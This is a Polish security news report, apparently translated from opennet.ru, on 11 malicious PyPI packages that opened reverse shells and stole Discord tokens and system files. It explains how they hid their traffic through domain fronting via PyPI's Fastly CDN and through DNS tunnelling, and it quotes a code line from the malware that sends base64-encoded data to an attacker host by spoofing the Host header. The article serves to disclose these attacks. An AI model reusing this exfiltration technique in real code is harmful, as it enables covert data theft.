W katalogu PyPI wykryto złośliwe biblioteki, które używają sieci CDN PyPI do ukrycia kanału komunikacyjnego

Katalog PyPI (Python Package Index) ujawnił 11 pakietów zawierających złośliwy kod. Zanim problemy zostały zidentyfikowane, pakiety udało się pobrać łącznie około 38 tysięcy razy. Wykryte szkodliwe pakiety wyróżniają się stosowaniem skomplikowanych sposobów ukrywania kanałów komunikacyjnych z serwerami atakujących.

  • validpackage (6305 pobrań), valid-package (12897) - ustanowił połączenie z zewnętrznym serwerem pod pozorem połączenia z pypi.python.org w celu zapewnienia dostępu powłoki do systemu (powłoka odwrotna) i użył programu trevorc2 do ukrycia kanał komunikacyjny.
  • pptest (10001), ipboards (946) - wykorzystywał DNS jako kanał komunikacji do przesyłania informacji o systemie (w pierwszym pakiecie nazwa hosta, katalog roboczy, IP wewnętrzne i zewnętrzne, w drugim - nazwa użytkownika i nazwa hosta).
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) wykryły w systemie token usługi Discord i wysłały go do zewnętrznego hosta.
  • trrfab (287) - wysyła identyfikator, nazwę hosta i zawartość /etc/passwd, /etc/hosts, /home do zewnętrznego hosta.
  • 10Cent10 (490) - nawiązał połączenie odwrotnej powłoki z zewnętrznym hostem.
  • yandex-yt (4183) - wyświetlał komunikat o włamaniu do systemu i przekierowywał na stronę z dodatkowymi informacjami o dalszych działaniach wydanych za pośrednictwem nda.ya.ru (api.ya.cc).

Na szczególną uwagę zasługuje metoda uzyskiwania dostępu do hostów zewnętrznych, używana w pakietach validpackage i valid-package, które wykorzystywały sieć dostarczania treści Fastly używaną w katalogu PyPI do ukrywania swojej aktywności. W rzeczywistości żądania zostały wysłane do serwera pypi.python.org (w tym podanie nazwy python.org w SNI wewnątrz żądania HTTPS), ale jednocześnie nazwa serwera kontrolowanego przez atakujących została ustawiona w protokole HTTP nagłówek „Host” (sec.forward.io.global.prod.fastly.net). Sieć dostarczania treści wysłała podobne żądanie do serwera atakującego, używając parametrów połączenia TLS z pypi.python.org podczas przesyłania danych.

Infrastruktura PyPI jest zasilana przez sieć dostarczania treści Fastly, która wykorzystuje przezroczyste proxy Varnish do buforowania typowych żądań i wykorzystuje przetwarzanie certyfikatów TLS na poziomie CDN, a nie na serwerach końcowych, do organizowania przekazywania żądań HTTPS przez proxy. Niezależnie od hosta docelowego żądania są wysyłane do proxy, który określa żądanego hosta na podstawie nagłówka HTTP „Host”, a nazwy domen hostów są powiązane z typowymi adresami IP systemów równoważenia obciążenia CDN dla wszystkich klientów Fastly.

Serwer atakującego rejestruje się również w usłudze CDN Fastly, która zapewnia wszystkim bezpłatne pakiety danych, a nawet umożliwia anonimową rejestrację. Warto zauważyć, że podczas tworzenia „odwrotnej powłoki” wykorzystywany jest również schemat wysyłania żądań do ofiary, ale inicjowanych przez hosta atakujących. Z zewnątrz interakcja z serwerem atakującego wygląda jak legalna sesja z katalogiem PyPI, zaszyfrowana przy użyciu certyfikatu PyPI TLS. Podobna technika, znana jako „fronting domeny”, była wcześniej aktywnie wykorzystywana do ukrywania nazwy hosta podczas omijania blokad, przy użyciu zapewnianej w niektórych sieciach CDN możliwości uzyskiwania dostępu do HTTPS z fikcyjnym hostem określonym w SNI i rzeczywistej transmisji nazwy żądanego hosta w nagłówku Host HTTP w ramach sesji TLS.

W katalogu PyPI wykryto złośliwe biblioteki, które używają sieci CDN PyPI do ukrycia kanału komunikacyjnego

Aby ukryć złośliwą aktywność, dodatkowo wykorzystano pakiet TrevorC2, który upodobnił interakcję z serwerem do normalnej nawigacji w sieci, np. złośliwe żądania były wysyłane pod pozorem pobrania obrazu „https://pypi.python.org/images /guid=” z informacją o kodowaniu w parametrze guid. url = "https://pypi.python.org" + "/obrazy" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

Pakiety pptest i ipboards wykorzystywały inne podejście do ukrywania aktywności sieciowej, oparte na kodowaniu informacji o ładunku w zapytaniach do serwera DNS. Złośliwe oprogramowanie przesyła informacje, wykonując żądania DNS w postaci „nu4timjagq4fimbuhe.example.com”, w których dane przesyłane do serwera dowodzenia i kontroli są zakodowane w nazwie subdomeny przy użyciu formatu base64. Osoba atakująca otrzymuje te wiadomości, kontrolując serwer DNS dla domeny example.com.

Źródło: opennet.ru

Dodaj komentarz